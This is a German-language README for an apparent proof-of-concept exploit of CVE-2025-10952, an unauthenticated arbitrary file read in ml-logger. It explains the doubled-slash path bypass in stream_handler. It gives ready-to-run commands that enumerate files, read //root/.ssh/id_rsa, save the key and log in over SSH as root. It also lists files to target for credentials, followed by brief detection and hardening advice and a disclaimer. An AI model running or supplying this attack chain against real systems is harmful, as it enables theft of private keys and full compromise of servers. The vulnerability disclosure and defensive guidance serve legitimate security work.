
PoC für CVE-2025-10952 — ml-logger nicht authentifiziertes beliebiges Dateilesen. CVSS 5.3
stream_handler in ml-loggerDieses Repository stellt ein eigenständiges Python-Skript bereit — CVE-2025-10952.py — das eine nicht authentifizierte Schwachstelle für beliebigen Dateizugriff in ml-logger's stream_handler ausnutzt, verkettet mit dem /glob-Endpunkt zur Dateisystem-Enumeration.
Wenn es gegen eine verwundbare ml-logger-Instanz ausgeführt wird, wird es:
/glob-Endpunkt enumerieren (nicht authentifiziert, keine Pfadbeschränkung außerhalb des vorgesehenen Geltungsbereichs)./stream-Endpunkt lesen, indem ein manipulierter -Parameter übergeben wird, der aus der Basis-Pfad-Verknüpfungslogik des Handlers ausbricht.keyDa stream_handler das vom Client gelieferte key-Feld direkt in einen Dateipfad-Auflösungs- und Streaming-Aufruf ohne Containment-Prüfung übergibt, kann ein nicht authentifizierter Netzwerkangreifer jede Datei lesen, die für den OS-Benutzer des Dienstes zugänglich ist.
ml_logger/server.py — stream_handler (Datei-Handler)AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:Nacf255bade5be6ad88d90735c8367b28cbe3a743 (Rolling-Release-Projekt; zum Zeitpunkt der Offenlegung keine behobene Version veröffentlicht)stream_handler akzeptiert einen JSON-Body mit einem key-Feld und übergibt es direkt an einen Dateilese-Aufruf ohne Pfadbereinigung. Der zugehörige glob_handler-Endpunkt implementiert teilweise Pfadbeschränkungen (Blockierung absoluter Pfade und Traversal), aber stream_handler teilt diese Validierung nicht — ein verdoppelter führender Schrägstrich in key (z. B. //root/.ssh/id_rsa) reicht aus, um aus dem vorgesehenen Basisverzeichnis auszubrechen.
ml-logger-API-Instanzgit clone https://github.com/Khashayarnzk/CVE-2025-10952-ml-logger-AFR.git
cd CVE-2025-10952-ml-logger-AFR
pip install -r requirements.txt
Dateien enumerieren:
python3 CVE-2025-10952.py --target TARGET --port 8081 --glob "/etc/*"
Eine beliebige Datei lesen:
python3 CVE-2025-10952.py --target TARGET --port 8081 --read "//root/.ssh/id_rsa"
Lesen und auf der Festplatte speichern:
python3 CVE-2025-10952.py --target TARGET --port 8081 --read "//root/.ssh/id_rsa" --out id_rsa_root
chmod 600 id_rsa_root
ssh -i id_rsa_root -o StrictHostKeyChecking=no root@TARGET
--port standardmäßig auf 8081, dem Standardport für ml-logger's Datei-Broker-API in einer Standardbereitstellung. Das Dashboard-Frontend wird typischerweise auf einem separaten Port bereitgestellt und ist nicht Teil des verwundbaren Pfads.
/glob-Endpunkt des Ziels mit 405 Method Not Allowed und Allow: POST antwortet — dies identifiziert den API-Port gegenüber dem statischen Dashboard-Frontend.--glob enumerieren, um interessante Dateien zu kartieren (SSH-Keys, Konfigurationen, Anmeldedatenspeicher).--read abrufen, wobei ein verdoppelter führender Schrägstrich für absolute Pfade verwendet wird.key/path-artigen JSON-Feldern, die .., verdoppelte führende Schrägstriche (//) oder absolute Pfadpräfixe (/etc, /root, /proc) enthalten und an ml-logger-Dienstports gerichtet sind.~/.ssh/, /etc/shadow, /etc/passwd sollte Lesevorgänge kennzeichnen, die von der ml-logger-Prozessidentität ausgehen.ml-logger niemals ohne einen authentifizierenden Reverse-Proxy davor einem nicht vertrauenswürdigen Netzwerk aussetzen.os.path.realpath()-Auflösung gegen ein auf der Whitelist stehendes Basisverzeichnis geprüft) in stream_handler; den Dienst unter einem dedizierten, unprivilegierten OS-Konto ausführen.Dieses Repository enthält einen Proof-of-Concept-Exploit für CVE-2025-10952, eine nicht authentifizierte Informationsoffenlegungs-Schwachstelle in ml-logger. Verwenden Sie diesen Code nur in Umgebungen, die Ihnen gehören oder für die Sie ausdrücklich autorisiert sind, Tests durchzuführen. Der Autor ist nicht verantwortlich für Missbrauch oder Schäden, die durch diese Software verursacht werden.
Siehe LICENSE.